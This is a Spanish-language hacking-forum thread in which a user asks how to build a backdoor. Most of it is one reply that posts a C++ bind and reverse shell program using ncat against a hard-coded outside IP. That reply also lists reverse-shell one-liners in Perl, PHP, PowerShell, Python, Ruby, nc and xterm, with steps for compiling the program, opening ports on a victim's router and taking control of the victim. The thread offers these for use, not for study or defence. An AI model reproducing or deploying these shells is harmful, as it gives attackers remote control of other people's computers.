Foro de elhacker.net

Seguridad Informática => Análisis y Diseño de Malware => Mensaje iniciado por: Gurutu en 6 Abril 2019, 11:06 am



Título: Duda para crear un backdoor
Publicado por: Gurutu en 6 Abril 2019, 11:06 am
Nesesito crear un backdoor, pero no quiero uno de esos que descargas de paginas  y que ya bienen hechos.
Lo que quiero es que me escriban que nesesito para crear este backdoor, por ejemplo si tengo que aprender un lenguaje de programacion en especial o como es la estructura del backdoor.
Espero que me respondan
Gracias de antemano


Título: Re: Duda para crear un backdoor
Publicado por: Dara3n en 31 Marzo 2020, 16:30 pm
No se como ayudarte, yo también doy noob en esto, pero quiero felicitarte por querer hacerlo tu solo y rechazar el programa ya hecho


Título: Re: Duda para crear un backdoor
Publicado por: ThunderCls en 31 Marzo 2020, 18:44 pm
Para crear cualquier cosa en esta vida se necesitan basicamente tres cosas:

1- Recursos
2- Herramientas
3- Conocimiento


En este caso por lo que preguntas no es la excepcion y vas a necesitar lo antes mencionado:

1- Recursos: Un PC
2- Herramientas: Un backdoor es como cualquier otro software, que puede ser escrito en cualquier lenguaje de programacion, desde lenguajes de "alto nivel", "bajo nivel", "scripting", etc. Para ello primero necesitas seleccionar un lenguage, el que mas te guste y luego seleccionas la herramienta correcta, por ejemplo para Java tienes Eclipse/Netbeans/InteliJ, para C/C++ tienes Visual Studio/DevC++/Qt Creator, para Pascal tienes Borland Delphi, para VB6 tienes Visual Studio 6, para C#/.NET tienes Visual Studio, etc, etc, etc
3- Conocimiento: Necesitas tener conocimientos del lenguaje en el que piensas hacer tu "creacion", ademas de los conocimientos adicionales de la "creacion" en si misma. Para esto google/youtube te tiene las mejores respuestas, por ponerte dos ejemplos:

http://lmgtfy.es/?q=programar+backdoor+c%2B%2B
http://lmgtfy.es/?q=curso+c%2B%2B

http://lmgtfy.es/?q=programar+backdoor+c%23     
http://lmgtfy.es/?q=curso+c%23

Suerte


Título: Re: Duda para crear un backdoor
Publicado por: @XSStringManolo en 31 Marzo 2020, 22:04 pm
No necesitas un PC. Puedes hacerlo en Android sin problemas.

Te dejo un backdoor super sencillo que hice hoy. Voy a ampliarlo y mejorarlo. Lo hice en Android con termux, vim y g++.

Código
  1. #include <iostream>
  2. #include <string>
  3.  
  4. using namespace std;
  5.  
  6. #define PUERTO static_cast<string>("9090")
  7. #define IP static_cast<string>("127.0.0.1")
  8. #define REVERSE_IP static_cast<string>("93.184.216.34")
  9.  
  10. void BindShell(string);
  11.  
  12. int main() {
  13.  
  14.  string comando = "";
  15.  
  16.  #ifdef __linux__
  17. /* Shell Local */
  18.    BindShell("ncat -l -k " + IP + " " + PUERTO + " -e /bin/sh");
  19.  
  20. /* Remote Shell */
  21.    BindShell("ncat " + REVERSE_IP + " " + PUERTO + " -e /bin/sh");
  22.  
  23.  #else /* Windows */
  24. /* Shell Local */
  25.    BindShell("ncat -l -k " + IP + " " + PUERTO + " -e cmd");
  26.  
  27. /* Remote Shell */
  28.    BindShell("ncat " + REVERSE_IP + " " + PUERTO + " -e cmd");
  29.  
  30.  #endif
  31.  return 0;
  32. }
  33.  
  34.  
  35. void BindShell(string command) {
  36.  
  37.  system(command.c_str());
  38.  
  39. }

Ahí tienes algunos comandos. Puedes implementarla 100% en C++ u otro lenguaje en lugar de tener dependencias.

También te dejo otras shells en otros lenguajes por si los necesitas:

perl -e 'use SOCKET;$i="93.184.216.34";p=9090;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

php -r '$sock=fsockopen("93.184.216.34",9090);exec("/bin/sh -i <&3 >&3 2>&3");'

$endpoint = New-Object System.Net.IPEndPoint ([System.Net.IPAddress]::Parse("93.184.216.34"),9090);$client = New-Object System.Net.Sockets.UDPClient(53);[byte[]]$bytes = 0..65535 | %{0};$sendbytes = ([text.encoding]::ASCII).GetBytes('PS> ');$client.Send($sendbytes,$sendbytes.Length,$endpoint);while($true){;$receivebytes = $client.Receive([ref]$endpoint);$returndata = ([text.encoding]::ASCII).GetString($receivebytes);$sendback = (iex $returndata 2>&1 | Out-String );$sendbytes = ([text.encoding]::ASCII).GetBytes($sendback);$client.Send($sendbytes,$sendbytes.Length,$endpoint)};client.Close()

python -c 'import socket,subprocess,os,s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("93.184.216.34",9090));os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

ruby -rsocket -e'f=TCPSocket.open("93.184.216.34",9090).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

nc -e /bin/sh 93.184.216.34 9090

xterm -display 93.184.216.34:9090

...


Para compilar con C++ usa g++

Para hacer cross compile, por ejemplo de linux a windows (generar un .exe en linux) te hace falta mingw.

Los comandos que necesitas es algo tipo:
vim codigoBackdoor.cpp

Dentro metes el código.

La tecla i te permite escribir.

Sales del modo escritura con escape.

Sales y guardas con :wq

Después compilas con g++ codigoBackdoor.cpp -o elVirus

Le das permisos de ejecución si los necesitas con chmod +775 elVirus

Ejecuta con ./elVirus

En caso de una shell normal necesitas abrir puertos en el router de la víctima. Yo te puse el puerto 9090 en los ejemplos. Debes abrir ese apuntando a la ip local de la máquina víctima desde el panel del router.

En caso de una shell remota abres los puertos de tu equipo para recibir la conexión.

Puedes usar netcat tanto para conectarte a la víctima:
netcat ipVictima puerto

O netcat para escuchar a la víctima y controlarla.
netcat -l -k ipVictima puerto

Una vez se establece la conexión solo tienes que escribir los comandos.


Título: Re: Duda para crear un backdoor
Publicado por: ThunderCls en 31 Marzo 2020, 22:42 pm
No necesitas un PC. Puedes hacerlo en Android sin problemas.

Claro y a falta de pan, buenas son tortas. Vamos que para alguien que no tiene ni idea de lo que es un backdoor o un lenguaje de programacion no se la pones muy facil que digamos, en fin.
Suerte